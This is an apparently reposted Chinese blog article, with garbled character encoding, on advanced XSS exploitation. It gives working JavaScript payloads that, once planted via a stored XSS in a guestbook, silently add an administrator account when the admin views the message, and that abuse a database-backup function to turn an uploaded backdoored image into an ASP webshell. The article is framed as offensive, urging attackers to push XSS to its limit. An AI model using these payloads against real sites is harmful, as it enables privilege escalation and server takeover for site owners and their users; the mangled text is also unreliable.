xss植入_xss的高级利用
以往對(duì)XSS的利用大多數(shù)都是針對(duì)于掛馬,釣魚(yú),盜cookie等,這些方式并沒(méi)有真正發(fā)揮到XSS的作用,因?yàn)楹苌偃四芰私釾SS的實(shí)質(zhì),會(huì)話劫持,瀏覽器劫持,XSS能做到的東西遠(yuǎn)遠(yuǎn)超乎我們的想象。之前本站的一篇文章《深掘XSS漏洞場(chǎng)景之XSS Rootkit》也可以為各位讀者提供參考。
一 XSS下提升權(quán)限?????? 隨著AJAX技術(shù)在許多大型SNS網(wǎng)站的應(yīng)用,XSS也變得愈加流行,在XSS場(chǎng)景下運(yùn)用AJAX能更有效地發(fā)揮它的作用。
用戶輸入的地方最容易滋生XSS,譬如留言、評(píng)論等表單,我搭建了一個(gè)sdbook的留言本,因?yàn)閟dbook沒(méi)有對(duì)用戶輸入的變量作出合適的過(guò)濾,導(dǎo)致一個(gè)XSS的產(chǎn)生。
留言率先傳遞給管理員,當(dāng)作javascript劫持,我們就可以利用管理員的權(quán)限做任何事情,例如添加一個(gè)管理員。
在留言內(nèi)容輸入跨站代碼:
這段代碼用來(lái)加載遠(yuǎn)程的JS,而xss.js的內(nèi)容是利用xmlHttp對(duì)象發(fā)送一個(gè)異步請(qǐng)求,通過(guò)XMLHTTP無(wú)刷新提交到服務(wù)器端,模擬添加一個(gè)管理員。
先用Firebug監(jiān)視網(wǎng)絡(luò)傳輸?shù)那闆r,主要是獲取添加admin時(shí)post的數(shù)據(jù)。
然后構(gòu)造ajax代碼
xss.js代碼:
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(‘text/xml’);
}
} else if(window.ActiveXObject) {
var versions = [‘Microsoft.XMLHTTP’, ‘MSXML.XMLHTTP’, ‘Microsoft.XMLHTTP’, ‘Msxml2.XMLHTTP.7.0′,’Msxml2.XMLHTTP.6.0′,’Msxml2.XMLHTTP.5.0’, ‘Msxml2.XMLHTTP.4.0’, ‘MSXML2.XMLHTTP.3.0’, ‘MSXML2.XMLHTTP’];
for(var i=0; i
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
add_admin();
function add_admin(){
var url=”/sdbook/admin/AdminUser/adminUser_Add.asp“;
var params =”UserName=cnryan&password1=123456&password2=123456Purview=%B9%DC%C0%ED%D4%B1&Submit=%CC%E1%BD%BB“;
xmlhttp.open(“POST”, url, true);
xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xmlhttp.setRequestHeader(“Content-length”, params.length);
xmlhttp.setRequestHeader(“Connection”, “close”);
xmlhttp.send(params);
}
當(dāng)admin查看帶有XSS的留言時(shí),就會(huì)在后臺(tái)悄悄地添加一個(gè)管理員,帳戶為cnryan,密碼是123456,最后我們就能獲得整個(gè)網(wǎng)站用戶的最高權(quán)限。
再來(lái)了解下這個(gè)留言本的場(chǎng)景,最初只有admin可以查看留言,也就只有admin受到XSS,當(dāng)內(nèi)容通過(guò)審核,發(fā)布到網(wǎng)站,此時(shí)所有的web瀏覽用戶都有可能受到XSS,我們能獲得更多的會(huì)話劫持,利用這些會(huì)話甚至可能對(duì)服務(wù)器發(fā)起XSS DOS。
二 XSS獲取webshell
為什么要用AJAX,首先它夠隱秘,也就是所謂的“無(wú)刷新”,其次,它能更有效地迅速處理各種復(fù)雜多變的數(shù)據(jù)。
了解到以上例子的流程與代碼,你是否會(huì)有不一樣的想法呢?
我們不防想一想如何把網(wǎng)站的webshell拿下。
這里有兩點(diǎn)必要的條件,前者是在其后臺(tái)要有一定拿shell的功能,如備份數(shù)據(jù)庫(kù),向配置信息插馬等,后者是我們要知道如網(wǎng)站路徑,默認(rèn)數(shù)據(jù)庫(kù)等信息,對(duì)于許多網(wǎng)站都是存在這些缺陷的。
以備份數(shù)據(jù)庫(kù)拿webshell為例,這個(gè)站點(diǎn)有上傳頭像的權(quán)限,并記錄我們的地址:UploadFace20090901.jpg,圖片寫有后門,然 后在白盒的測(cè)試環(huán)境下記錄POST的數(shù)據(jù),構(gòu)造AJAX代碼寫入遠(yuǎn)程的JS,最后在該站的XSS點(diǎn)植入JS。
其代碼如下:
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(‘text/xml’);
}
} else if(window.ActiveXObject) {
var versions = [‘Microsoft.XMLHTTP’, ‘MSXML.XMLHTTP’, ‘Microsoft.XMLHTTP’, ‘Msxml2.XMLHTTP.7.0′,’Msxml2.XMLHTTP.6.0′,’Msxml2.XMLHTTP.5.0’, ‘Msxml2.XMLHTTP.4.0’, ‘MSXML2.XMLHTTP.3.0’, ‘MSXML2.XMLHTTP’];
for(var i=0; i
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
getshell();
function getshell(){
var postStr =”DBpath=UploadFace%5C20090901.jpg&bkfolder=Databackup&bkDBname=shell.asp“;
xmlhttp.open(“POST”, “/ADMIN_data.asp?action=BackupData&act=Backup“, true);
xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
xmlhttp.setRequestHeader(“Content-length”, postStr.length);
xmlhttp.setRequestHeader(“Connection”, “close”);
xmlhttp.send(postStr);
}
上述代碼是我測(cè)試一個(gè)開(kāi)源程序?qū)懙?#xff0c;不同的程序不盡相同,但大體相似。
getshell()函數(shù)的作用就是把UploadFace20090901.jpg備份為Databackup目錄下的shell.asp。
一切利用的前提就是該站具有XSS,并能成功把構(gòu)造代碼注入到后臺(tái),只要管理員不經(jīng)意觸發(fā)了這個(gè)xss Trap,我們就能拿到webshell。
三 基于開(kāi)源的Xss Hacking
以上事例都是在針對(duì)于白盒環(huán)境下測(cè)試的,很多問(wèn)題都是基于理論的,在真實(shí)環(huán)境下利用XSS滲透是會(huì)有一定的難度,但仍是有辦法的,XSS的核心在于靈活多變,這也是它倍受追捧的原因,關(guān)于XSS滲透可以去看jianxin的文章。
XSS熱潮已至,相信各位滲透師,跨站師們勢(shì)必會(huì)把XSS的威力發(fā)揮到極致。
總結(jié)
以上是生活随笔為你收集整理的xss植入_xss的高级利用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: eclipse打包项目为aar_Ecli
- 下一篇: antd 函数组件_React - 组件